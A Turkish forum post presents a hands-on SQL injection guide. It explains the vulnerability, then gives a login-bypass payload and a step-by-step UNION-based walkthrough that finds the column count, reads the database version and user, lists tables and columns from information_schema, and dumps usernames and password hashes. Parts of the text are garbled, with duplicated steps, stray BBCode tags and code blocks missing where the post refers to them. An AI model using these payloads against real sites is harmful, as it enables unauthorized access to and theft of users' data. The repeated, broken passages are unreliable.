Merhaba arkadaşlar, Web uygulama güvenliğinin en köklü ve hâlâ en ölümcül zafiyetlerinden biri olan SQL Injection hakkında kapsamlı bir rehber hazırladım. OWASP Top 10’da yıllardır ilk sıralarda yer alıyor ve 2026’da bile birçok sistemde aktif olarak bulunuyor. Hem yeni başlayanlar için temel bilgiler hem de pratik yapanlar için detaylı örnekler vereceğim. İyi Forumlar...
SQL Injection Nedir?
SQL Injection, bir web uygulamasının kullanıcıdan aldığı veriyi (GET/POST parametreleri, cookie, header vs.) doğrudan veritabanı sorgusuna eklemesi ve bu veriyi yeterince filtrelememesi durumunda ortaya çıkan bir güvenlik açığıdır.Saldırgan, özel hazırlanmış payload’lar ile sorguyu manipüle eder ve şu sonuçları elde edebilir:
- Veritabanındaki tüm verileri okumak (kullanıcılar, şifre hash’leri, kredi kartları, siparişler vs.)
- Authentication bypass yaparak admin girişi yapmak
- Veri ekleme, silme veya değiştirme
- Stacked queries destekleniyorsa sunucuda sistem komutları çalıştırma (nadir ama çok tehlikeli
Klasik Örnek (Login Bypass)
Normal Kod
Saldırgan password alanına şunu yazar: ' OR '1'='1'-- -
Sorgu kodu şu şekilde olur;
-- - yorum satırı başlatır, kalan kısım ignore edilir → Her zaman true döner → Giriş yapılır!
SQL Injection Türleri
Normal Kod
SQL:
SELECT * FROM users WHERE username = 'admin' AND password = 'sifre';
Saldırgan password alanına şunu yazar: ' OR '1'='1'-- -
Sorgu kodu şu şekilde olur;
SQL:
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1'-- -';
SQL Injection Türleri
- Error-based: Veritabanı hata mesajı verir (en kolay tespit edilir, “You have an error in your SQL syntax” gibi).
- Union-based: UNION SELECT ile ekstra veri çekilir (en çok kullanılan, veri dump için ideal).
- Blind Boolean-based: True/false mantığıyla karakter karakter veri çekilir (response farklıysa).
- Time-based Blind: SLEEP(), BENCHMARK() gibi fonksiyonlarla gecikme yaratılır (response aynı olsa bile delay anlaşılır).
- Out-of-band: Veri DNS veya HTTP istekleriyle dışarı çıkarılır.
- Second-order: Girdi önce veritabanına kaydedilir, sonra başka bir sorguda patlar.
Nasıl Bulunur? (Adım Adım Manuel Test)
1-) Temel Test: Her input’a tek tırnak (') ekleyin.
* Örnek: https://site.com/product.php?id=1 → id=1'
* Hata mesajı veya anormal davranış → Potansiyel SQLi.
2-) Sütun Sayısını Bulma:
1-) Temel Test: Her input’a tek tırnak (') ekleyin.
* Örnek: https://site.com/product.php?id=1 → id=1'
* Hata mesajı veya anormal davranış → Potansiyel SQLi.
2-) Sütun Sayısını Bulma:
Kod:
id=1 ORDER BY 1-- -[/B][/CENTER][/B][/CENTER]
[B][CENTER][B][CENTER]id=1 ORDER BY 2-- -
* Hata veren en düşük sayı -1 = sütun sayısı.
3-) UNION ile Hangi Sütunda Veri Görünüyor?
* Sayfada rakamlar görünürse o sütunlar injectable.
4-) Veritabanı Bilgilerini Çekme
* Versiyon: UNION SELECT 1,2,version(),4,5,6-- -
* Database adı: UNION SELECT 1,2,database(),4,5,6-- -
* User: UNION SELECT 1,2,user(),4,5,6-- -
5-) TAbloları Listeleme
6-) Sütunları Bulma
7-) Veri İndirme (DUMP)
3-) UNION ile Hangi Sütunda Veri Görünüyor?
SQL:
id=1 UNION SELECT 1,2,3,4,5,6-- -
4-) Veritabanı Bilgilerini Çekme
* Versiyon: UNION SELECT 1,2,version(),4,5,6-- -
* Database adı: UNION SELECT 1,2,database(),4,5,6-- -
* User: UNION SELECT 1,2,user(),4,5,6-- -
5-) TAbloları Listeleme
SQL:
UNION SELECT 1,2,table_name,4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -
6-) Sütunları Bulma
SQL:
[/B]UNION SELECT 1,2,column_name,4,5,6 FROM information_schema.columns WHERE table_name='users'-- -[B]
7-) Veri İndirme (DUMP)
SQL:
UNION SELECT 1,2,concat(username,0x3a,password),4,5,6 FROM users-- -
Moderatör tarafında düzenlendi:







